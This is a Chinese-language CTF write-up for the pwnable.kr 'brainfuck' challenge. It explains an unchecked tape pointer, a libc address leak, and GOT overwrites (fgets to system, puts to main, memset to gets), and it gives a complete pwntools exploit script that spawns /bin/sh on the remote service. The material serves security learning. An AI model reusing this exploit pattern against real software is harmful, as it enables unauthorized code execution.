pwnable.kr之brainfuck.md
Overview
题目给了一个简陋版的brainfuck解释器, 实现了非常简单的功能
int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx
result = a1;
switch ( a1 )
{
case 43:
result = p;
++*(_BYTE *)p;
break;
case 44:
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case 45:
result = p;
--*(_BYTE *)p;
break;
case 46:
result = putchar(*(char *)p);
break;
case 60:
result = p-- - 1;
break;
case 62:
result = p++ + 1;
break;
case 91:
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
在主循环逻辑中读取用户输入的每一个字符做相应操作.
注意光标选中的p是当前执行到的指针, tape是一个长度为1024的buffer存储用户输入的brainfuck代码. 二者都位于.bss段上, 恰巧离got表很近. 而主循环逻辑do_brainfuck提供了指针前移, 后移, 读byte, 写byte等丰富操作, 却没有对p值的范围是否在tape中做校验, 因此此处存在漏洞可以一定范围内任意读写, 后续考虑利用其对.got表进行修改.
泄露libc地址
修改.got表的基本思想是将一个普通函数.got.plt指针修改为要调用的目标函数指针. 为此需要首先知道libc基址来确定目标函数地址. 由于开启了alsr必须在程序执行过程中泄露libc基址, 可以将p移位到.plt.got位置并输出某一函数地址, 由于题目给了用到的 libc.so, 因此可以确定函数的偏移, 二者相减即可得到运行时libc基址.
brainfuck处理过程中, '<'可以使p指针前移一个字节, '>'则是后移, '.'输出当前字节, ','写当前字节. 通过计算p当前位置与.plt.got的距离并移位, 定位到putchar函数.
输出时需要每输出一次移位一次, 得到的结果拼接后u32解得地址. 由于环境没有输入法, 注释全都英文
payload = '.' # run putchar for one time to let the programme write .got.plt dynamic value
payload += '<' * 0x70 + '.>' * 4
payload += '[' # force the program to call puts, fill .got.plt
for i in range(4):
raw_result += p.recv(1)
addr_putchar = u32(raw_result)
addr_libc = addr_putchar - off_putchar
这里额外要注意的一点是通过.plt.got获得函数地址前, 必须先调用一次该函数, 这是因为使用了'延迟绑定'技术, 第一次执行时进行绑定操作, 第二次之后才会直接执行.
覆写.plt.got流程
由于已经有了libc基址能够计算各函数在运行时实际地址, 接下来进行正式的覆盖. 考查main函数
memset和fgets函数共用同一个param0, 如果将memset改为gets()并读入/bin/sh
, fgets改写为system, 即可实现system('/bin/sh')调用拿shell.
为了能够跳转到main函数需要额外覆盖puts函数为main函数, 然后主动调用do_brainfuck的case 91触发执行. 调试中发现, 直接跳转到main函数起始地址栈会segment fault(vmmap看可能是因为s参数过大, 栈空间不够), 因此改为直接跳转到memset函数布置参数处.
最终的exp如下:
# todo using oneshot gadget to get shell directly in libc.so
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
# off_gets = 0x66ae0
# off_system = 0x3cd10
# off_putchar = 0x69130
off_gets = 0x5e770
off_system = 0x3a920
off_putchar = 0x60c80
addr_main = 0x08048700
# p = process('bf')
p = remote('pwnable.kr', 9001)
# gdb.attach(p)
print p.recvuntil('except [ ]')
payload = '.' # run putchar for one time to let the programme write .got.plt dynamic value
payload += '<' * 0x70 + '.>' * 4
payload += '[' # force the program to call puts, fill .got.plt
# Overwrite 3 spots in .got.plt
# puts -> main to detour the control flow
# memset -> gets to put '/bin/sh' to 'char s[1024]'
# fgets -> system to call system('/bin/sh'), where s is exactly at the top of stack as param[0]
# now p is at 0804A034
# alter fgets
payload += '<' * 0x24 + ',>,>,>,>' # maybe there is a \n to deal with
# now p is at 0x0804a010
#alter puts
payload += '>' * 0x04 + ',>,>,>,>'
# now p is at 0x0804a018
# alter memset
payload += '>' * 0x10 + ',>,>,>,>'
payload += '[' # trigger a call to puts(actually main)
p.sendline(payload)
print p.recvline() # '[' error report
#print p.recvline() # \n
raw_result = ""
p.recv(1)
for i in range(4):
raw_result += p.recv(1)
addr_putchar = u32(raw_result)
addr_libc = addr_putchar - off_putchar
print('Leaked libc base is: ' + hex(addr_libc))
addr_system = addr_libc + off_system
addr_gets = addr_libc + off_gets
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! todo before overwrite func, we should call each func for at least one time to make sure the .got.plt is dynamically altered
addrs = p32(addr_system) + p32(addr_main) + p32(addr_gets)
p.sendline(addrs + '/bin/sh')
p.interactive()
```![2018-06-26-09-40-37.png](https://upload-images.jianshu.io/upload_images/1814637-43cd6cd0b5277054.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)